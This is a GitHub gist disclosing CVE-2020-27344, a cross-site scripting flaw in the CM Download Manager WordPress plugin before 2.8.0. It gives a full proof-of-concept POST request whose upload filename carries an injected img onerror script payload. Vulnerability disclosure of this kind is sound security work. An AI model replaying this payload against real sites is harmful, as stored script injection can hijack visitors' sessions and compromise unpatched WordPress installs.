Last active
October 21, 2020 00:21
-
-
Save qwebee/da79c6a9fa982c3c40988a1e0598c0d9 to your computer and use it in GitHub Desktop.
CVE-2020-27344
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CVE-2020-27344 | |
The cm-download-manager plugin before 2.8.0 for WordPress allows XSS. | |
https://gist.github.com/qwebee/da79c6a9fa982c3c40988a1e0598c0d9 | |
------------------------------------------ | |
Vulnerability Type: Cross Site Scripting (XSS). | |
Vendor of Product: CreativeMindsSolutions. | |
Affected Product Code Base: CM Download Manager - 2.7.0 - affected, fix is in 2.8.0. | |
Attack Type: Remote. | |
------------------------------------------ | |
Vulnerability is in the POST request. | |
Exploitation: | |
- Vulnerable page - 'cmdownload/add/' | |
- Vulnerable parameter - 'filename' in 'Content-Disposition' Header | |
``` | |
POST /cmdownload/add/ HTTP/1.1 | |
Host: localhost:8081 | |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0 | |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | |
Accept-Language: en-US,en;q=0.5 | |
Accept-Encoding: gzip, deflate | |
Content-Type: multipart/form-data; boundary=---------------------------297219106631036445401265881685 | |
Content-Length: 1147 | |
Origin: http://localhost:8081 | |
Connection: close | |
Referer: http://localhost:8081/cmdownload/add/ | |
Cookie: comment_author_8dec71ede39ad9ff3b3fbc03311bdc45=eee; comment_author_email_8dec71ede39ad9ff3b3fbc03311bdc45=eee%40mail.ru; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8dec71ede39ad9ff3b3fbc03311bdc45=test%7C1595793663%7C2B6NRI0OfyfJBfpulgmlcilvU96g754sgpLJh8GeNdA%7Ccf65a0a17f07e0e3180504eed05869ab0aa68af496aba7d26aa1848edf97fbea; wp-settings-time-1=1595621338; PHPSESSID=153061963252781ff3b221c0305d536e; wp-settings-1=editor%3Dtinymce | |
Upgrade-Insecure-Requests: 1 | |
-----------------------------297219106631036445401265881685 | |
Content-Disposition: form-data; name="CMDM_AddDownloadForm_title" | |
test name | |
-----------------------------297219106631036445401265881685 | |
Content-Disposition: form-data; name="CMDM_AddDownloadForm_package"; filename="users.doc<img src=a onerror=alert('XSS')>" | |
Content-Type: application/msword | |
some test data | |
-----------------------------297219106631036445401265881685 | |
Content-Disposition: form-data; name="CMDM_AddDownloadForm_categories[]" | |
17 | |
-----------------------------297219106631036445401265881685 | |
Content-Disposition: form-data; name="CMDM_AddDownloadForm_description" | |
222 | |
-----------------------------297219106631036445401265881685 | |
Content-Disposition: form-data; name="CMDM_AddDownloadForm_screenshots" | |
[] | |
-----------------------------297219106631036445401265881685 | |
Content-Disposition: form-data; name="CMDM_AddDownloadForm_screenshots-caches" | |
[] | |
-----------------------------297219106631036445401265881685 | |
Content-Disposition: form-data; name="CMDM_AddDownloadForm_submit" | |
Add | |
-----------------------------297219106631036445401265881685-- | |
``` |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment